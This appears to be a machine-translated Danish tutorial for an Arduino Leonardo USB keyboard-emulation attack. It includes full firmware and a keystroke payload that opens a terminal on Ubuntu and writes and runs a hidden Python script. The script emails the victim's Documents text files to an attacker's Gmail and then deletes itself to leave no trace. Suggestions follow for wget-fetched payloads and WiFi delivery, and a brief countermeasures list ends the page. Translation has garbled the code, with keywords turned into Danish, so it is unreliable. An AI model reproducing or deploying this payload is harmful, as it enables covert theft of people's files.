Indholdsfortegnelse:

Arduino Keyboard Exploit Demo (HID) og forebyggelse: 4 trin (med billeder)
Arduino Keyboard Exploit Demo (HID) og forebyggelse: 4 trin (med billeder)

Video: Arduino Keyboard Exploit Demo (HID) og forebyggelse: 4 trin (med billeder)

Video: Arduino Keyboard Exploit Demo (HID) og forebyggelse: 4 trin (med billeder)
Video: Веб-программирование – информатика для руководителей бизнеса 2016 2024, November
Anonim
Image
Image
Bygger enheden
Bygger enheden

I dette projekt vil vi bruge en arduino leonardo til at simulere et muligt USB -angreb ved hjælp af HID (humain interface device).

Jeg har oprettet denne vejledning ikke for at hjælpe hackere, men for at vise dig nogle reelle farer og hvordan du beskytter dig selv mod disse farer. Denne enhed er ikke en enhed, der kan bruges på enhver platform til hackere, det er mere et bevis på konceptet i detaljer.

Vi skal lære følgende:

- hvordan man bruger arduino leonardo til at efterligne tastatur

- hvordan man læser data fra SD -kort

- hvordan man opretter et python -script, der scanner filer og e -mailer dem

- hvordan du beskytter dig selv mod USB -hacking -enheder

Trin 1: Materialer

Dele:

1. Arduino leonardo

2. mikro USB -kortlæser

3. et par GB SD -kort

4. trykknap som denne (VCC, jord og signal)

5. hun-hun og hun-hun-jumperkabler

6. mikro USB til USB kabel

Trin 2: Opbygning af enheden

Bygger enheden
Bygger enheden

Før bygningsinstruktionen lad os gennemgå arbejdsprincippet:

Arduino leonardo kan opføre sig som en human interface -enhed (HID) og kan derfor efterligne mus og tastatur. Vi vil bruge denne funktion til at åbne en terminal (i UBUNTU linux) og skrive et lille script, der får adgang til /Documents -mappen inde i brugerens hjemmemappe, kopier.txt -filer der og sender dem til en e -mail. Hvis du vil finde ud af flere detaljer, skal du kontrollere det næste trin.

Fordi det er en demo -enhed, er tingene virkelig enkle, vi vil ikke lodde noget.

Bygningsinstruktioner

Inden vi går i gang, tjek de vedhæftede filer, jeg har vedhæftet fritzing -skemaer og alle de nødvendige filer

1. Saml komponenterne:

* Sæt mikro -USB -kablet i arduinoen

* tilslut nøglekontakten til arduinoen (jord, vcc og ud modul til D8)

* tilslut kortlæseren til arduinoen (ved hjælp af ICSP -header). Arduino leonardo har ikke ICSP -headeren tilsluttet digitale pins, så du skal tilslutte kortlæseren til ICSP -headeren. Du kan finde nogle tegninger af ICSP her: https://learn.sparkfun.com/tutorials/installing-an…. Tilslut SS -stiften til den digitale pin 10

2. få arduino -koden, du kan klone mit arduino -depot på github: https://github.com/danionescu0/arduino og gå til projects/keyboard_exploit eller få det nedenfra:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Kommando::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); hvis (! SD.begin (chipSelect)) {Serial.println ("Kort mislykkedes, eller ikke til stede!"); Vend tilbage; }} void loop () {int buttonState = digitalRead (buttonPin); hvis ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Uploadet!"); forsinkelse (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filnavnOnCard); hvis (! dataFile) {Serial.println ("Det angivne filnavn findes ikke på SD -kort, skal du kontrollere filnavnOnCard!"); } Strenglinje; mens (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linje); sendToKeyboard (linje); } dataFile.close (); } void sendToKeyboard (strenglinje) {String workingLine = linje; hvis (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); Vend tilbage; } hvis (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Tekst:"); Serial.println (linje); Keyboard.println (linje); tryk på Enter (); Vend tilbage; } Serial.println ("Kommando:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (kommando! = "") {Serial.print ("Kommando fundet:"); Serial.println (kommando); Keyboard.press (getCommandCode (kommando)); forsinkelse (delayBetweenCommands); }} Keyboard.releaseAll (); forsinkelse (delayBetweenCommands); } ugid pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } ugyldig sleepFor (strenglinje) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); forsinkelse (sleepAmount); } char getCommandCode (strengtekst) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; kode = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kode; kode = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kode; kode = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kode; kode = (tekst == "KEY_UP_ARROW")? KEY_UP_ARROW: kode; kode = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kode; kode = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kode; kode = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kode; kode = (tekst == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kode; kode = (tekst == "KEY_BACKSPACE")? KEY_BACKSPACE: kode; kode = (tekst == "KEY_TAB")? KEY_TAB: kode; kode = (tekst == "KEY_RETURN")? KEY_RETURN: kode; kode = (tekst == "KEY_ESC")? KEY_ESC: kode; kode = (tekst == "KEY_INSERT")? KEY_INSERT: kode; kode = (tekst == "KEY_DELETE")? KEY_DELETE: kode; kode = (tekst == "KEY_PAGE_UP")? KEY_PAGE_UP: kode; kode = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kode; kode = (tekst == "NØGLE_HJEM")? NØGLE_HJEM: kode; kode = (tekst == "KEY_END")? KEY_END: kode; kode = (tekst == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kode; kode = (tekst == "KEY_F1")? KEY_F1: kode; kode = (tekst == "KEY_F2")? KEY_F2: kode; kode = (tekst == "KEY_F3")? KEY_F3: kode; kode = (tekst == "KEY_F4")? KEY_F4: kode; kode = (tekst == "KEY_F5")? KEY_F5: kode; kode = (tekst == "KEY_F6")? KEY_F6: kode; kode = (tekst == "KEY_F7")? KEY_F7: kode; kode = (tekst == "KEY_F8")? KEY_F8: kode; kode = (tekst == "KEY_F9")? KEY_F9: kode; kode = (tekst == "KEY_F10")? KEY_F10: kode; kode = (tekst == "KEY_F11")? KEY_F1: kode; kode = (tekst == "KEY_F12")? KEY_F2: kode;

returkode;

}

3. Upload koden til arduinoen, sørg for at vælge 9600 baud rate, den serielle port og arduino leonardo

4. Formater sd -kortet ved hjælp af FAT16 eller FAT32

5. Hvis du klonede github -repoen ovenfra, skal du kopiere hack.txt -filen på kortet, hvis ikke filen er angivet nedenfor:

Kommando:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Kommando:: KEY_INSERT import smtplib import glob, os fra os.path import expanduser fra email. MIMEMultipart import MIMEMultipart fra email. MIMEBase import MIMEBase fra e -mail. MIMETekstimport MIMETekst fra e -mail. Brugerimport COMMASPACE, formatdato fra e -mailimportkodere

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumenter'

subject = body = 'Filer fra hacket computer'

header = 'Til: {0} nFrom: {1} nTema: {2} n'.format (til_adresse, smtp_bruger, emne)

def sendMail (til, emne, tekst, filer = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMETekst (tekst)) for fil i filer: del = MIMEBase ('applikation', "octet-stream") part.set_payload (åben (fil, "rb"). Læs ()) Encoders.encode_base64 (del) del. add_header ('Content-Disposition', 'attachment; filnavn = " % s"' % os.path.basename (fil)) msg.attach (del)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, til, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Kommando:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Rediger følgende linjer:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

Og erstat med dine e -mail -adresser

7. Fjern kortet, og indsæt det i arduino -kortlæseren

Trin 3: Sådan fungerer det i detaljer

Sådan vil angrebet fungere:

1. Når der trykkes på knappen, læser leonardo sd -kortet ved hjælp af en sd -kortlæser. En særlig fil med nøgler og tastekombinationer vil være til stede på kortet. Filnavnet er "hack.txt".

Filen kan indeholde rå tekst, og den overføres til tastaturet, ligesom den er.

Den kan også indeholde særlige kommandoer som "Sleep::" og "Command::".

En linje som:

Søvn:: 200 betyder en søvn på 200 ms

En linje som:

Kommando:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t betyder venstre ctrl trykket, venstre alt trykket, t trykket og alt frigivet

Du kan kontrollere alle specielle nøgler her:

2. Leonardo læser linje for linje og tolker kommandoerne og efterligner tasterne på tastaturet. Filen "hack.txt" indeholder en kombination af nøgler, der gør følgende (for UBUNTU linux):

en. åbner en terminal (CTRL + ALT + T)

b. åbner en python -fil til oprettelse ved hjælp af vi (skriver "vi hack.py"

c. skriver et python -script inde, der samler alle tekstfiler inde i dokumentets hjemmemappe og sender dem over til en bestemt gmail -adresse

d. kører filen i baggrunden ("nohup python hack.py &")

e. sletter filen (rm -rf hack.py)

f. lukker terminalen (ALT + F4)

Det hele kører på få sekunder og efterlader ingen spor.

Forbedringer og fejlfinding

* Du har måske bemærket, at efter jeg har åbnet en terminal, skriver jeg python -filen. en bedre måde at gøre det på er at være vært for det et sted og downloade det ved hjælp af kommandoen "wget some_url" og derefter omdøbe det til hack.py

* Vi kan også downloade eller køre en færdiglavet udnyttelse til det målrettede operativsystem

* wifi kan tilføjes til modulet, og hacks kan uploades via WIFI

* du kan bruge arduino micro (som er meget mindre) og integrere exploit -kode på den (for at gøre den mindre)

Begrænsninger

1. Fordi den simulerede enhed (tastatur og mus) ikke har nogen feedback, ved vi ikke, hvad der vil ske efter udstedelse af en kommando, der betyder, at vi skal bruge forsinkelser. For eksempel udsteder jeg en kommando til at åbne terminal, men jeg ved ikke, hvornår den rent faktisk vil være åben, så jeg skal angive en vilkårlig forsinkelse for at sikre, at de tegn, der er skrevet efter, ikke vil gå tabt.

2. Vi kan støde på tilladelsesproblemer som f.eks. Ikke at have adgang til USB -porten eller tilladelse til at installere noget

3. Skrivehastigheden er ikke særlig god på leonardo

4. Vil kun fungere på et målrettet operativsystem (i vores tilfælde UBUNTU linux)

I det næste trin vil vi prøve at finde måder at udnytte disse begrænsninger på for at forhindre, at vores computer bliver hacket

Trin 4: Modforanstaltninger

1. Deaktivering af USB -porte

-for Windows kan du tjekke denne vejledning:

2. Hviteliste USB -enheder:

- til windows:

2. Lås computeren, når du ikke er væk

3. Log ikke ind som root (kræv adgangskoder for at installere noget)

4. Hold dig selv opdateret (automatiske opdateringer til)

Anbefalede: